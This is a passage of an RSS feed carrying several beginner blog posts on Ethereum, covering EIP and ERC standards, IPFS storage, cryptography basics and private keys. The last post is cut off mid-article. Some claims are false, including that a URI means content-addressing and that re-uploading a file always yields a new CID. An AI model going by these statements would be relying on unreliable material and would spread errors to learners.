&lt;p&gt;Think of it like a grocery preorder: tell the store what you’ll need in advance and skip checkout lines—but if you order the wrong things, you wasted time and money.&lt;/p&gt;
&lt;h4 id=&quot;2-eip-7547-inclusion-lists-core-block-assembly-&quot;&gt;2. EIP‑7547: Inclusion Lists (Core / Block Assembly)&lt;/h4&gt;
&lt;h5 id=&quot;overview&quot;&gt;Overview&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A new proposal letting block proposers force inclusion of specific transactions in a block, reducing censorship&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Especially useful for front-running, MEV-resistant applications.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-benefits-1&quot;&gt;✅ Benefits&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Enhances fairness and censorship resistance in the mempool.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Empowers transaction originators to battle MEV-based exclusion.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-considerations&quot;&gt;⚠️ Considerations&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Still under development.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Needs client &amp;amp; tooling support to become practical.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-analogy-1&quot;&gt;⚙️ Analogy&lt;/h5&gt;
&lt;p&gt;It’s like a VIP pass for users who want to ensure their ticket gets scanned even during rush hour.&lt;/p&gt;
&lt;h4 id=&quot;3-erc-165-interface-detection-contract-interface-standard-&quot;&gt;3. ERC‑165: Interface Detection (Contract Interface Standard)&lt;/h4&gt;
&lt;h5 id=&quot;overview-1&quot;&gt;Overview&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Standardizes how contracts announce which interfaces they implement—used widely since 2018&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Contracts implement supportsInterface(bytes4 interfaceID) so others can detect capabilities.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-benefits-2&quot;&gt;✅ Benefits&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Enables dynamic compatibility checks for wallets/dApps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Avoids hard-coded assumptions, reducing risk of breakage.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-drawbacks-1&quot;&gt;❌ Drawbacks&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Needs explicit implementation—some contracts skip it to save gas.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Only covers declared interfaces; doesn’t guarantee full compliance.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-analogy-2&quot;&gt;⚙️ Analogy&lt;/h5&gt;
&lt;p&gt;Like a software installer that checks if your system supports .NET 6 before installation—no surprises later.&lt;/p&gt;
&lt;h4 id=&quot;4-eip-6969-revenue-sharing-contracts-erc-token-amp-wallet-standard-&quot;&gt;4. EIP‑6969: Revenue-Sharing Contracts (ERC – Token &amp;amp; Wallet Standard)&lt;/h4&gt;
&lt;h5 id=&quot;overview-2&quot;&gt;Overview&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A new proposal for sharing transaction fees (beyond ETH’s built-in burn/tip) with contract creators&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Users opt-in to send a developer fee to the dApp creator on each use.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-benefits-3&quot;&gt;✅ Benefits&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Creates an incentive model for public dApps to be sustainable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Offers an optional “tip” model for open-source contract authors.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-controversies&quot;&gt;⚠️ Controversies&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;May discourage usage if tips are high.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Needs to balance opt-in vs auto-fee structures.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;-analogy-3&quot;&gt;⚙️ Analogy&lt;/h5&gt;
&lt;p&gt;Like paying 10% tip for offline delivery services you trust—optional but appreciated.&lt;/p&gt;
&lt;h3 id=&quot;comparison-table&quot;&gt;Comparison Table&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;EIP/ERC      &lt;/th&gt;&lt;th&gt;Category       &lt;/th&gt;&lt;th&gt;Purpose                                   &lt;/th&gt;&lt;th&gt;Adoption Status&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EIP‑2930&lt;/strong&gt; &lt;/td&gt;&lt;td&gt;Core / Tx      &lt;/td&gt;&lt;td&gt;Improve gas for predefined access         &lt;/td&gt;&lt;td&gt;Low adoption (\~1.5%)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EIP‑7547&lt;/strong&gt; &lt;/td&gt;&lt;td&gt;Core / Blocks  &lt;/td&gt;&lt;td&gt;Censorship resistance via inclusion lists &lt;/td&gt;&lt;td&gt;Early draft&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;ERC‑165&lt;/strong&gt;  &lt;/td&gt;&lt;td&gt;Interface      &lt;/td&gt;&lt;td&gt;Standard method to declare support        &lt;/td&gt;&lt;td&gt;Widely adopted (NFTs, tokens)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EIP‑6969&lt;/strong&gt; &lt;/td&gt;&lt;td&gt;ERC / Payments &lt;/td&gt;&lt;td&gt;Revenue-sharing tips to contract authors  &lt;/td&gt;&lt;td&gt;Emerging interest&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;final-takeaways&quot;&gt;Final Takeaways&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Access Lists (EIP‑2930) streamline gas costs—but you must think ahead.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Inclusion Lists (EIP‑7547) will help fairness in transaction ordering, ideal for censor-resistant apps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ERC‑165 remains vital for automatic interface compatibility, powering wallet and dApp integrations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Revenue-sharing (EIP‑6969) introduces an open tipping model, potentially sustaining free-to-use contracts.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;why-these-matter-for-beginners&quot;&gt;Why These Matter for Beginners&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Understanding why these standards were invented helps future developers reason about protocol design and usability, not just code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Seeing each EIP as a solution to a real problem—gas costs, censorship, interface detection, developer sustainability—makes you think like a protocol designer.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Analogies keep concepts memorable and relatable.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Standards aren’t just code—they shape how Ethereum grows. - Allan Robinson&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/4097/what-the-heck-are-eips-and-ercs-a-beginners-guide-to-ethereum-upgrades-youve-never-heard-of</guid>
<pubDate>Thu, 17 Jul 2025 19:21:14 +0000</pubDate>
</item>
<item>
<title>Blockchain File Storage---What is IPFS and Types of web3 Storage</title>
<link>https://coderlegion.com/4004/blockchain-file-storage-what-is-ipfs-and-types-of-web3-storage</link>
<description>&lt;h2 id=&quot;decentralized-file-storage&quot;&gt;Decentralized File Storage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Decentralized file storage refers to systems that use distributed networks of computers (nodes) to store data securely and redundantly, rather than relying on centralized servers. &lt;/li&gt;
&lt;li&gt;These systems use blockchain or peer-to-peer technologies to ensure data integrity, availability, and privacy.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;understand-the-difference-between-url-and-uri&quot;&gt;Understand the difference between URL and URI&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;URL&lt;/strong&gt; is nothing but a &lt;strong&gt;Location-Addressing&lt;/strong&gt;. Traditional web uses location-based addressing, where content is accessed by its location on a server.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;URI&lt;/strong&gt; refers to &lt;strong&gt;Content-Addressing&lt;/strong&gt;. Where, where content is accessed by a hash of its content. This ensures that as long as the content remains the same, its address does not change.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;what-is-ipfs-inter-planetary-file-storage-&quot;&gt;What is IPFS (Inter-Planetary file storage)??&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;IPFS is a decentralized P2P distributed file storing protocol.&lt;/li&gt;
&lt;li&gt;Storing data on blockchain is way expensive. So, the company store their data on &lt;strong&gt;&lt;code&gt;centralized server and cloud providers&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;In IPFS, files and other data are stored in a network of nodes.&lt;/li&gt;
&lt;li&gt;When a file is added to IPFS, it is split into smaller blocks, coverted to hash using &lt;strong&gt;hash algorithm (SHA-256).&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This &lt;strong&gt;hash&lt;/strong&gt; is called as &lt;strong&gt;CID(Content Identifier)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Everytime re-uploading file a new CID is generated.&lt;/li&gt;
&lt;li&gt;To retrieve data, a user requests it using the hash.&lt;/li&gt;
&lt;li&gt;IPFS locates the nodes storing the corresponding blocks and downloads them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Some more Popular Decentralized File Storage Platforms:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Filecoin &lt;/li&gt;
&lt;li&gt;Arweave&lt;/li&gt;
&lt;li&gt;Swarm&lt;/li&gt;
&lt;li&gt;Bluzelle&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;All this above have there own pros and cons!!! To understand more you can visit there docs for more guidance&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;types-of-web3-storage&quot;&gt;Types of Web3 Storage&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;On-chain storage :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This refers to the practice of storing data directly on the blockchain, leveraging its inherent security features but at the cost of speed and expense.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;off-chain decentralized storage :&lt;/strong&gt; &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This  involves storing data across a network of decentralized nodes or servers &lt;strong&gt;IPFS&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Off-chain private storage solutions :&lt;/strong&gt; &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This  encompass traditional &lt;strong&gt;cloud-based and legacy data storage&lt;/strong&gt; options designed for secure and controlled access.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;on-chain-file-storage-in-full-stack-web3-applications&quot;&gt;On-chain file storage in full stack web3 applications&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;To integrate the on-chain file storage in an DApps, we can implement the Pinata/IPFS on-chain file storage.&lt;/li&gt;
&lt;li&gt;To get started with file storage in DApps, checkout the below docs more insights:&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.pinata.cloud/quickstart&quot;&gt;https://docs.pinata.cloud/quickstart&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.ipfs.tech/&quot;&gt;https://docs.ipfs.tech/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;If there are some corrections and more information!! Pls update us in comments.&lt;/strong&gt;&lt;/p&gt;
</description>
<category>Blockchain Sec</category>
<guid isPermaLink="true">https://coderlegion.com/4004/blockchain-file-storage-what-is-ipfs-and-types-of-web3-storage</guid>
<pubDate>Mon, 14 Jul 2025 17:28:19 +0000</pubDate>
</item>
<item>
<title> Unlocking Ethereum: From Magic Money to Math-Powered Machines</title>
<link>https://coderlegion.com/3932/unlocking-ethereum-from-magic-money-to-math-powered-machines</link>
<description>&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&quot;Not all computers live in your house. Some live everywhere.&quot;&lt;/strong&gt; — &lt;em&gt;Allan Robinson&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;hey-there-curious-builder-&quot;&gt;Hey there, curious builder!&lt;/h3&gt;
&lt;p&gt;If you’ve been following along on this journey from Chapter 1 to Chapter 4 of the Ethereum Book, congratulations! You’ve taken your first real steps into understanding what makes Ethereum the beating heart of the Web3 revolution. But now, let’s tie it all together.&lt;/p&gt;
&lt;p&gt;This article will serve as your grand recap. We’ll walk back through the major milestones you’ve hit — from installing MetaMask to unraveling the mathematical magic behind Ethereum addresses. But we’re going deeper this time, with clear explanations, descriptive breakdowns, and some jokes and analogies to make it fun.&lt;/p&gt;
&lt;h4 id=&quot;chapter-1-ethereum-the-decentralized-world-computer&quot;&gt;Chapter 1: Ethereum — The Decentralized World Computer&lt;/h4&gt;
&lt;p&gt;Ethereum is not just a cryptocurrency.&lt;br&gt;
It’s a decentralized world computer, where code is law and contracts live forever.&lt;/p&gt;
&lt;p&gt;Imagine the internet, but with programmable money and no central administrator.&lt;br&gt;
That’s Ethereum.&lt;/p&gt;
&lt;p&gt;In this chapter, we:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Installed MetaMask, your Web3 portal.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Created a wallet (a safe for your digital coins).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Funded it using a testnet faucet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sent and received Ether — the fuel of Ethereum.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&quot;Think of Ether as gas in a car. Ethereum is the engine. Smart contracts are the destination.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ethereum allows anyone to deploy smart contracts — bits of code that live and operate independently on the blockchain. These contracts can't be tampered with once deployed. That’s a game-changer for trust, accountability, and decentralization.&lt;/p&gt;
&lt;h4 id=&quot;chapter-2-wallets-contracts-and-the-machine-brain&quot;&gt;Chapter 2: Wallets, Contracts, and the Machine Brain&lt;/h4&gt;
&lt;p&gt;Once your MetaMask wallet was ready, you discovered two types of accounts:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Externally Owned Accounts (EOAs):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Controlled by private keys.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can initiate transactions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;These are your regular wallet accounts.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt; Contract Accounts:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Controlled by code, not keys.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can hold Ether and respond to transactions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cannot initiate transactions but can react to them.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We even wrote our first smart contract: Faucet.sol.&lt;/p&gt;
&lt;p&gt;It allowed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Users to withdraw up to 0.1 ETH.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anyone to send ETH to it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You deployed it on a testnet using Remix IDE.&lt;/p&gt;
&lt;p&gt;This was your first encounter with the Ethereum Virtual Machine (EVM) — the brain that runs all smart contracts in the Ethereum world. Think of it as a global computer made up of thousands of nodes all syncing together.&lt;/p&gt;
&lt;h4 id=&quot;chapter-3-amp-4-cryptography-ethereum-s-security-backbone&quot;&gt;Chapter 3 &amp;amp; 4: Cryptography — Ethereum’s Security Backbone&lt;/h4&gt;
&lt;p&gt;Ethereum is secure by math, not by secrecy.&lt;/p&gt;
&lt;p&gt;This is where things got spicy.&lt;br&gt;
We talked cryptography — the silent engine that makes Ethereum work.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Cryptography doesn’t hide data, it proves truths.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We explored:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Public key cryptography (asymmetric cryptography).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Digital signatures.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Trapdoor functions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Elliptic curve cryptography.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt; Private Keys:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A private key is just a really big random number.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It gives you control over your Ethereum wallet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It must NEVER be shared. Sharing your private key = giving away your money.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&quot;Your private key is your soul. Lose it, and your crypto reincarnates into someone else's wallet.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;️ Public Keys:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Derived from the private key using elliptic curve multiplication.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can be shared. They help the world recognize your account.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Used to verify digital signatures.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt; Ethereum Addresses:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Shortened versions of the public key (via hashing).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Every wallet has one (e.g., 0xabc123...).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Acts like a username for the blockchain.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Together, these elements enable secure, verifiable ownership of funds without any central authority.&lt;/p&gt;
&lt;h4 id=&quot;the-discrete-logarithm-problem-amp-elliptic-curve-math&quot;&gt;The Discrete Logarithm Problem &amp;amp; Elliptic Curve Math&lt;/h4&gt;
&lt;p&gt;Ethereum uses a form of math called Elliptic Curve Cryptography (ECC) over a curve known as secp256k1.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Private Key k is a number.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Multiply it with a point G on the curve: k * G = K, the Public Key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You can go from private to public, but NOT the reverse. Why?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because that would involve solving the Discrete Logarithm Problem.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&quot;It’s like trying to unblend a smoothie. Good luck getting that one blueberry back.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This one-way math gives us digital signatures and the ability to prove ownership without revealing secrets.&lt;/p&gt;
&lt;h4 id=&quot;-the-magic-of-digital-signatures&quot;&gt;✨ The Magic of Digital Signatures&lt;/h4&gt;
&lt;p&gt;Every Ethereum transaction is a message signed with your private key.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The network can verify:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Who sent it (via public key).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;That the message wasn’t altered (hash matching).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That it came from a valid source.&lt;/p&gt;
&lt;p&gt;But it can do all this without knowing the private key itself. Pure cryptographic sorcery.&lt;/p&gt;
&lt;h3 id=&quot;why-this-all-matters&quot;&gt;Why This All Matters&lt;/h3&gt;
&lt;p&gt;This system allows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Peer-to-peer payments.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Smart contract execution.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fully decentralized apps (dApps).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A global trustless economy.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All without:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Banks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Passwords.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Centralized control.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You now understand how your Ethereum wallet works, how transactions are signed, and why no one can just &quot;guess&quot; your key.&lt;/p&gt;
&lt;p&gt;And that, my friend, is the magic behind the Ethereum World Computer.&lt;/p&gt;
&lt;h3 id=&quot;what-s-next-&quot;&gt;What’s Next?&lt;/h3&gt;
&lt;p&gt;You’ve just finished the foundation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Ethereum basics&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Wallets and contracts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cryptography, private keys, and addresses&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Up next? We dive deeper:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Solidity smart contracts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Gas optimization&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Attacks &amp;amp; defenses&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The move to Proof of Stake&lt;/p&gt;
&lt;p&gt;So stay curious. Keep coding. And never share your private key.&lt;/p&gt;
&lt;p&gt;See you on-chain.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/3932/unlocking-ethereum-from-magic-money-to-math-powered-machines</guid>
<pubDate>Sat, 12 Jul 2025 19:49:54 +0000</pubDate>
</item>
<item>
<title> Cryptography in Ethereum</title>
<link>https://coderlegion.com/3931/cryptography-in-ethereum</link>
<description>&lt;p&gt;Cryptography is one of the most important technologies behind Ethereum and other blockchains. Even though it sounds complicated, at its heart, it’s all about keeping things secure, proving ownership, and ensuring data can’t be faked or tampered with.&lt;/p&gt;
&lt;p&gt;Let’s break down what cryptography means in the Ethereum world — in the simplest terms possible.&lt;/p&gt;
&lt;h3 id=&quot;what-is-cryptography-&quot;&gt;What Is Cryptography?&lt;/h3&gt;
&lt;p&gt;Cryptography comes from a Greek word meaning “secret writing”. It’s the study of how to secure information using math. But it’s not just about hiding things — it also helps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prove something is true without showing it (like proving you know a password without telling it).&lt;/li&gt;
&lt;li&gt;Prove data is authentic (like checking a digital fingerprint).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ethereum does not use encryption to hide messages — everything is open and visible so the network can agree on the correct state. But it does use cryptography to verify and secure who owns what.&lt;/p&gt;
&lt;h4 id=&quot;keys-and-addresses&quot;&gt;Keys and Addresses&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;♂️ Accounts in Ethereum&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are two main types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;EOAs (Externally Owned Accounts) — controlled by private keys (what users use).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Smart Contracts — code-based accounts that live on Ethereum.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Every EOA has:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A private key — a secret number that proves control.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;An Ethereum address — a public identity others can see.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Think of it like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Your address is your bank account number (public).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your private key is your ATM PIN (secret).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can’t get someone’s private key by looking at their address. But if you have the private key, you control the account and the funds in it.&lt;/p&gt;
&lt;h4 id=&quot;-digital-signatures-proving-ownership&quot;&gt;️ Digital Signatures: Proving Ownership&lt;/h4&gt;
&lt;p&gt;Every transaction on Ethereum must be signed using the private key. This creates a digital signature, which proves:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The transaction is authentic.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It could only have come from the person who owns the private key.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This signature is then verified by others using your public key (or Ethereum address). The private key is never shared — it stays hidden.&lt;br&gt;
So, when you send ETH:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You sign the transaction with your private key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The network checks the signature against your address.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If it matches —  the transaction is valid!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;how-do-private-and-public-keys-work-&quot;&gt;How Do Private and Public Keys Work?&lt;/h4&gt;
&lt;p&gt;Ethereum uses a form of cryptography called Public Key Cryptography, also known as Asymmetric Cryptography.&lt;/p&gt;
&lt;p&gt;This system uses two keys:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A private key (kept secret).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A public key (shared openly).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The cool part is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You can generate the public key from the private key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;But you can’t go backwards — it’s mathematically impossible to figure out the private key from the public key.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This one-way math is what makes Ethereum secure.&lt;/p&gt;
&lt;h3 id=&quot;what-is-a-private-key-&quot;&gt;What Is a Private Key?&lt;/h3&gt;
&lt;p&gt;A private key is just a very large random number — but a very important one!&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;f8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It controls your funds. If someone else gets it, they can steal your ETH. If you lose it, your ETH is gone forever — no password resets in crypto!&lt;/p&gt;
&lt;p&gt;That’s why wallet apps and hardware wallets help store and protect private keys safely.&lt;/p&gt;
&lt;h3 id=&quot;how-are-private-keys-generated-&quot;&gt;How Are Private Keys Generated?&lt;/h3&gt;
